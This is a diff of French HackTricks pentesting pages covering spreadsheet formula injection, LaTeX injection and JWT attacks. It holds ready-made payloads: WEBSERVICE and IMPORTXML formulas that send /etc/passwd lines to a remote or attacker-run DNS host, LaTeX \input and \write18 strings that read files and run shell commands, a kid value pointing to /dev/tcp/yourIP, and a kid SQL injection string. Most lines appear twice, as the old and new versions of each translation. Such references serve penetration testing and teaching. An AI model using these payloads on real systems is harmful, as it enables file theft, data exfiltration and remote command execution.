||||
|
||||
* Cela lira la première ligne du fichier local /etc/passwd : `='file:///etc/passwd'#$passwd.A1`
|
||||
* L'exfiltrer : `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* Cela lira la 1ère ligne du fichier local /etc/passwd : `='file:///etc/passwd'#$passwd.A1`
|
||||
* Exfiltrer : `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* Exfiltrer plus d'une ligne : `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* Exfiltration DNS : `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
|
||||
|
||||
**Analyse de la charge utile d'exfiltration DNS :**
|
||||
|
||||
* ‘file:///etc/passwd’#$passwd.A19 - Lira la 19e ligne du fichier local /etc/passwd
|
||||
* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) - Encode l'URL des données renvoyées
|
||||
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) - Similaire à une sous-chaîne, lit les données du 1er caractère au 41e - une manière très pratique de limiter la longueur des noms d'hôtes DNS (limite de 254 caractères pour un FQDN et 63 caractères pour un label, c'est-à-dire un sous-domaine)
|
||||
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) - remplace toutes les occurrences de % (le caractère spécial de l'encodage d'URL) par un tiret - cela garantit que seuls des caractères DNS valides sont utilisés
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) - Concatène la sortie du fichier (après le traitement ci-dessus) avec le FQDN (pour lequel nous avons accès à l'hôte qui est autoritaire pour le domaine)
|
||||
* WEBSERVICE - Fera une demande pour ce nom DNS inexistant que nous pouvons ensuite analyser les journaux (ou exécuter tcpdump, etc.) sur le serveur de noms autoritaire DNS dont nous avons le contrôle
|
||||
* ‘file:///etc/passwd’#$passwd.A19 – Lira la 19ème ligne du fichier local /etc/passwd
|
||||
* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – Encode l'URL des données retournées
|
||||
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Similaire à substring, lire les données du 1er caractère au 41ème – une manière très pratique de limiter la longueur des noms d'hôte DNS (limite de 254 caractères sur le FQDN et 63 caractères pour un label, c'est-à-dire un sous-domaine)
|
||||
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – remplace toutes les instances de % (le caractère spécial de l'encodage URL) par un tiret – cela garantit que seuls les caractères DNS valides sont utilisés
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) – Concatène la sortie du fichier (après le traitement ci-dessus) avec le FQDN (pour lequel nous avons accès à l'hôte qui est autoritaire pour le domaine)
|
||||
* WEBSERVICE – Fera une demande pour ce nom DNS inexistant que nous pouvons ensuite analyser les logs (ou exécuter tcpdump, etc.) sur le serveur de noms DNS autoritaire pour lequel nous avons le contrôle
|
||||
|
||||
### Google Sheets OOB Data Exfiltration
|
||||
### Exfiltration de données OOB Google Sheets
|
||||
|
||||
Tout d'abord, présentons certaines des fonctions les plus intéressantes.
|
||||
Introduisons d'abord certaines des fonctions les plus intéressantes.
|
||||
|
||||
**CONCATENATE** : Ajoute des chaînes les unes aux autres.
|
||||
```
|
||||
=CONCATENATE(A2:E2)
|
||||
```
|
||||
**IMPORTXML**: Importe des données à partir de différents types de données structurées, y compris XML, HTML, CSV, TSV et des flux XML RSS et ATOM.
|
||||
**IMPORTXML** : Importe des données de divers types de données structurées, y compris XML, HTML, CSV, TSV et des flux XML RSS et ATOM.
|
||||
```
|
||||
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
|
||||
```
|
||||
**IMPORTFEED**: Importe un flux RSS ou ATOM.
|
||||
**IMPORTFEED** : Importe un flux RSS ou ATOM.
|
||||
```
|
||||
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
|
||||
```
|
||||
**IMPORTHTML**: Importe les données d'un tableau ou d'une liste à l'intérieur d'une page HTML.
|
||||
**IMPORTHTML** : Importe des données à partir d'une table ou d'une liste dans une page HTML.
|
||||
```
|
||||
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
|
||||
```
|
||||
**IMPORTRANGE**: Importe une plage de cellules à partir d'une feuille de calcul spécifiée.
|
||||
**IMPORTRANGE** : Importe une plage de cellules à partir d'une feuille de calcul spécifiée.
|
||||
```
|
||||
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
|
||||
```
|
||||
**IMAGE**: Insère une image dans une cellule.
|
||||
**IMAGE** : Insère une image dans une cellule.
|
||||
```
|
||||
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
|
||||
```
|
||||
## Injection LaTeX
|
||||
|
||||
Généralement, les serveurs que l'on trouve sur Internet qui **convertissent le code LaTeX en PDF** utilisent **`pdflatex`**.\
|
||||
Habituellement, les serveurs que vous trouverez sur Internet qui **convertissent le code LaTeX en PDF** utilisent **`pdflatex`**.\
|
||||
Ce programme utilise 3 attributs principaux pour (dés)autoriser l'exécution de commandes :
|
||||
|
||||
* **`--no-shell-escape`** : **Désactive** la construction `\write18{command}`, même si elle est activée dans le fichier texmf.cnf.
|
||||
* **`--shell-restricted`** : Identique à `--shell-escape`, mais **limité** à un ensemble de **commandes prédéfinies** considérées comme 'sûres' (\*\*Sur Ubuntu 16.04, la liste se trouve dans `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`** : **Active** la construction `\write18{command}`. La commande peut être n'importe quelle commande shell. Cette construction est normalement désactivée pour des raisons de sécurité.
|
||||
* **`--shell-restricted`** : Identique à `--shell-escape`, mais **limité** à un ensemble 'sûr' de **commandes prédéfinies** (\*\*Sur Ubuntu 16.04 la liste est dans `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`** : **Active** la construction `\write18{command}`. La commande peut être n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sécurité.
|
||||
|
||||
Cependant, il existe d'autres moyens d'exécuter des commandes, il est donc très important d'utiliser `--shell-restricted` pour éviter l'exécution de code à distance (RCE).
|
||||
Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter le RCE, il est très important d'utiliser `--shell-restricted`.
|
||||
|
||||
### Lire un fichier <a href="#read-file" id="read-file"></a>
|
||||
|
||||
Il se peut que vous ayez besoin d'ajuster l'injection avec des enveloppes comme \[ ou $.
|
||||
Il se peut que vous deviez ajuster l'injection avec des enveloppes comme \[ ou $.
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
@ -143,21 +147,7 @@ Il se peut que vous ayez besoin d'ajuster l'injection avec des enveloppes comme
|
|||
\usepackage{verbatim}
|
||||
\verbatiminput{/etc/passwd}
|
||||
```
|
||||
#### Lire un fichier d'une seule ligne
|
||||
|
||||
To read a single-lined file, you can use the `readline()` function in Python. This function reads a single line from the file and returns it as a string.
|
||||
|
||||
```python
|
||||
with open('filename.txt', 'r') as file:
|
||||
line = file.readline()
|
||||
print(line)
|
||||
```
|
||||
|
||||
Replace `'filename.txt'` with the path to your file. The `'r'` parameter indicates that the file should be opened in read mode.
|
||||
|
||||
The `with` statement is used to ensure that the file is properly closed after reading. The `readline()` function reads the first line of the file and assigns it to the variable `line`. Finally, the line is printed to the console.
|
||||
|
||||
Keep in mind that the `readline()` function only reads a single line. If you want to read multiple lines, you can use a loop or another method such as `readlines()`.
|
||||
#### Lire un fichier à ligne unique
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/issue
|
||||
|
@ -165,18 +155,7 @@ Keep in mind that the `readline()` function only reads a single line. If you wan
|
|||
\text{\line}
|
||||
\closein\file
|
||||
```
|
||||
#### Lire un fichier à plusieurs lignes
|
||||
|
||||
To read a file with multiple lines, you can use the following code:
|
||||
|
||||
```python
|
||||
with open('filename.txt', 'r') as file:
|
||||
lines = file.readlines()
|
||||
for line in lines:
|
||||
print(line.strip())
|
||||
```
|
||||
|
||||
This code opens the file named `filename.txt` in read mode (`'r'`) and uses the `readlines()` function to read all the lines in the file. It then iterates over each line and prints it after removing any leading or trailing whitespace using the `strip()` function.
|
||||
#### Lire un fichier à lignes multiples
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/passwd
|
||||
|
@ -193,9 +172,9 @@ This code opens the file named `filename.txt` in read mode (`'r'`) and uses the
|
|||
\write\outfile{Hello-world}
|
||||
\closeout\outfile
|
||||
```
|
||||
### Exécution de commandes <a href="#command-execution" id="command-execution"></a>
|
||||
### Exécution de commande <a href="#command-execution" id="command-execution"></a>
|
||||
|
||||
L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour l'obtenir.
|
||||
L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour la récupérer.
|
||||
```bash
|
||||
\immediate\write18{env > output}
|
||||
\input{output}
|
||||
|
@ -218,7 +197,7 @@ L'entrée de la commande sera redirigée vers stdin, utilisez un fichier tempora
|
|||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
Si vous rencontrez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans caractères indésirables.
|
||||
Si vous rencontrez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans mauvais caractères
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
|
@ -237,7 +216,7 @@ De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
```
|
||||
## Injection Ghostscript
|
||||
|
||||
TODO: Créez un résumé avec les informations et techniques les plus pertinentes de [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
TODO : Créer un résumé avec les informations et techniques les plus pertinentes de [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -248,18 +227,20 @@ TODO: Créez un résumé avec les informations et techniques les plus pertinente
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives et détecte les problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,80 +2,82 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (638) (3).png>)
|
||||
|
||||
**Astuce pour les primes de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de **prime de bug créée par des pirates, pour des pirates** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Conseil pour les bug bounties** : **inscrivez-vous** sur **Intigriti**, une plateforme de bug bounty premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
**Une partie de cet article a été tirée de :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Auteur de l'outil génial pour pentester les JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**Une partie de ce post a été prise de :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Auteur du super outil pour pentester les JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Gains rapides**
|
||||
### **Gains Rapides**
|
||||
|
||||
Exécutez [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) en mode `All Tests!` et attendez les lignes vertes
|
||||
Exécutez [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) avec le mode `All Tests!` et attendez les lignes vertes
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
Si vous avez de la chance, l'outil trouvera des cas où l'application web vérifie incorrectement le JWT :
|
||||
Si vous avez de la chance, l'outil trouvera un cas où l'application web vérifie incorrectement le JWT :
|
||||
|
||||
![](<../.gitbook/assets/image (435).png>)
|
||||
|
||||
Ensuite, vous pouvez rechercher la requête dans votre proxy ou extraire le JWT utilisé pour cette requête en utilisant l'outil jwt\_ :
|
||||
Ensuite, vous pouvez rechercher la requête dans votre proxy ou extraire le JWT utilisé pour cette requête en utilisant jwt_tool :
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
### Manipuler les données sans rien modifier
|
||||
### Altération des données sans rien modifier
|
||||
|
||||
Vous pouvez simplement manipuler les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez de changer votre nom d'utilisateur en "admin", par exemple.
|
||||
Vous pouvez simplement altérer les données en laissant la signature telle quelle et vérifier si le serveur contrôle la signature. Essayez de changer votre nom d'utilisateur en "admin" par exemple.
|
||||
|
||||
#### **La signature est-elle vérifiée ?**
|
||||
#### **Le jeton est-il vérifié ?**
|
||||
|
||||
- Si un message d'erreur apparaît, la signature est vérifiée - lisez les informations d'erreur détaillées qui pourraient divulguer des informations sensibles.
|
||||
- Si la page renvoyée est différente, la signature est vérifiée.
|
||||
- Si la page est la même, alors la signature n'est pas vérifiée - il est temps de commencer à manipuler les revendications de la charge utile pour voir ce que vous pouvez faire !
|
||||
* Si un message d'erreur apparaît, la signature est vérifiée - lisez toute information d'erreur verbeuse qui pourrait révéler quelque chose de sensible.
|
||||
* Si la page retournée est différente, la signature est vérifiée.
|
||||
* Si la page est la même, alors la signature n'est pas vérifiée - il est temps de commencer à altérer les revendications du Payload pour voir ce que vous pouvez faire !
|
||||
|
||||
### Origine
|
||||
|
||||
Vérifiez d'où provient le jeton dans l'historique des requêtes de votre proxy. Il devrait être créé sur le serveur, pas sur le client.
|
||||
Vérifiez où le jeton a été généré dans l'historique des requêtes de votre proxy. Il devrait être créé sur le serveur, et non sur le client.
|
||||
|
||||
- S'il a été vu pour la première fois en provenance du côté client, alors la **clé** est accessible au code côté client - recherchez-la !
|
||||
- S'il a été vu pour la première fois en provenance du serveur, alors tout va bien.
|
||||
* S'il a été vu pour la première fois venant du côté client, alors la **clé** est accessible au code côté client - cherchez-la !
|
||||
* S'il a été vu pour la première fois venant du serveur, tout va bien.
|
||||
|
||||
### Durée
|
||||
|
||||
Vérifiez si le jeton dure plus de 24 heures... peut-être qu'il n'expire jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement.
|
||||
Vérifiez si le jeton dure plus de 24h... peut-être qu'il n'expire jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement.
|
||||
|
||||
### Brute-force du secret HMAC
|
||||
### Forcer le secret HMAC
|
||||
|
||||
[**Voir cette page.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### Modifier l'algorithme en None (CVE-2015-9235)
|
||||
### Modifier l'algorithme en Aucun (CVE-2015-9235)
|
||||
|
||||
Définissez l'algorithme utilisé comme "None" et supprimez la partie de la signature.
|
||||
Définissez l'algorithme utilisé comme "Aucun" et supprimez la partie signature.
|
||||
|
||||
Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None").
|
||||
Utilisez l'extension Burp appelée "JSON Web Token" pour essayer cette vulnérabilité et pour changer différentes valeurs à l'intérieur du JWT (envoyez la requête au Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également sélectionner de mettre la valeur du champ "Alg" sur "Aucun").
|
||||
|
||||
### Changer l'algorithme RS256(asymétrique) en HS256(symétrique) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
L'algorithme HS256 utilise la clé secrète pour signer et vérifier chaque message.\
|
||||
L'algorithme RS256 utilise la clé privée pour signer le message et utilise la clé publique pour l'authentification.
|
||||
L'algorithme RS256 utilise la clé privée pour signer le message et la clé publique pour l'authentification.
|
||||
|
||||
Si vous changez l'algorithme de RS256 à HS256, le code côté serveur utilise la clé publique comme clé secrète, puis utilise l'algorithme HS256 pour vérifier la signature.
|
||||
|
||||
Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci :
|
||||
Ensuite, en utilisant la clé publique et en changeant de RS256 à HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci :
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -85,38 +87,38 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
Un attaquant intègre une nouvelle clé dans l'en-tête du jeton et le serveur utilise cette nouvelle clé pour vérifier la signature (CVE-2018-0114).
|
||||
|
||||
Cela peut être fait avec l'extension "JSON Web Tokens" de Burp.\
|
||||
(Envoyez la requête à Repeater, sélectionnez "CVE-2018-0114" dans l'onglet JSON Web Token et envoyez la requête).
|
||||
(Envoyez la requête au Repeater, dans l'onglet JSON Web Token sélectionnez "CVE-2018-0114" et envoyez la requête).
|
||||
|
||||
### Spoofing JWKS
|
||||
### Usurpation JWKS
|
||||
|
||||
Si le jeton utilise une revendication d'en-tête "jku", vérifiez l'URL fournie. Cela devrait pointer vers une URL contenant le fichier JWKS qui contient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service Web où vous pouvez surveiller le trafic.
|
||||
Si le jeton utilise une revendication d'en-tête "jku", alors vérifiez l'URL fournie. Celle-ci devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Altérez le jeton pour que la valeur jku pointe vers un service web dont vous pouvez surveiller le trafic.
|
||||
|
||||
Si vous obtenez une interaction HTTP, vous savez maintenant que le serveur essaie de charger des clés à partir de l'URL que vous fournissez. _Utilisez l'option -S de jwt\_tool avec l'argument -u_ [_http://example.com_](http://example.com) _pour générer une nouvelle paire de clés, injectez votre URL fournie, générez un JWKS contenant la clé publique et signez le jeton avec la clé privée._
|
||||
Si vous obtenez une interaction HTTP, vous savez maintenant que le serveur essaie de charger les clés depuis l'URL que vous fournissez. _Utilisez le drapeau -S de jwt\_tool en combinaison avec l'argument -u_ [_http://example.com_](http://example.com) _pour générer une nouvelle paire de clés, injecter votre URL fournie, générer un JWKS contenant la clé publique, et signer le jeton avec la clé privée_
|
||||
|
||||
### Problèmes de "kid"
|
||||
|
||||
`kid` est une revendication d'en-tête facultative qui contient un identifiant de clé, particulièrement utile lorsque vous avez plusieurs clés pour signer les jetons et que vous devez trouver la bonne pour vérifier la signature.
|
||||
`kid` est une revendication d'en-tête optionnelle qui contient un identifiant de clé, particulièrement utile lorsque vous avez plusieurs clés pour signer les jetons et que vous devez rechercher la bonne pour vérifier la signature.
|
||||
|
||||
#### Problèmes de "kid" - révéler la clé
|
||||
|
||||
Si la revendication "kid" est utilisée dans l'en-tête, vérifiez le répertoire Web pour ce fichier ou une variation de celui-ci. Par exemple, si `"kid":"key/12345"`, recherchez _/key/12345_ et _/key/12345.pem_ à la racine du site Web.
|
||||
Si la revendication "kid" est utilisée dans l'en-tête, vérifiez le répertoire web pour ce fichier ou une variation de celui-ci. Par exemple, si `"kid":"key/12345"`, alors cherchez _/key/12345_ et _/key/12345.pem_ à la racine du web.
|
||||
|
||||
#### Problèmes de "kid" - traversée de chemin
|
||||
|
||||
Si la revendication "kid" est utilisée dans l'en-tête, vérifiez si vous pouvez utiliser un fichier différent dans le système de fichiers. Choisissez un fichier dont vous pourriez prédire le contenu, ou essayez peut-être `"kid":"/dev/tcp/yourIP/yourPort"` pour tester la connectivité, ou même quelques charges **SSRF**...\
|
||||
_Utilisez l'option -T de jwt\_tool pour altérer le JWT et changer la valeur de la revendication kid, puis choisissez de conserver la signature d'origine._
|
||||
Si la revendication "kid" est utilisée dans l'en-tête, vérifiez si vous pouvez utiliser un fichier différent dans le système de fichiers. Choisissez un fichier dont vous pourriez prédire le contenu, ou essayez peut-être `"kid":"/dev/tcp/votreIP/votrePort"` pour tester la connectivité, ou même certains payloads **SSRF**...\
|
||||
_Utilisez le drapeau -T de jwt\_tool pour altérer le JWT et changer la valeur de la revendication kid, puis choisissez de conserver la signature originale_
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
En utilisant des fichiers à l'intérieur de l'hôte avec un contenu connu, vous pouvez également falsifier un JWT valide. Par exemple, dans les systèmes Linux, le fichier `/proc/sys/kernel/randomize_va_space` a la valeur définie sur **2**. Ainsi, en mettant ce **chemin** dans le paramètre "**kid**" et en utilisant "**2**" comme **mot de passe symétrique** pour générer le JWT, vous devriez pouvoir générer un nouveau JWT valide.
|
||||
En utilisant des fichiers à l'intérieur de l'hôte avec un contenu connu, vous pouvez également forger un JWT valide. Par exemple, dans les systèmes Linux, le fichier `/proc/sys/kernel/randomize_va_space` a la valeur définie à **2**. Ainsi, en mettant ce **chemin** à l'intérieur du paramètre "**kid**" et en utilisant "**2**" comme **mot de passe symétrique** pour générer le JWT, vous devriez pouvoir générer un nouveau JWT valide.
|
||||
|
||||
#### Problèmes avec "kid" - Injection SQL
|
||||
#### Problèmes de "kid" - Injection SQL
|
||||
|
||||
Dans un scénario où le contenu de "kid" est utilisé pour récupérer le mot de passe de la base de données, vous pouvez modifier la charge utile à l'intérieur du paramètre "kid" en: `non-existent-index' UNION SELECT 'ATTACKER';-- -` puis signer le JWT avec la clé secrète `ATTACKER`.
|
||||
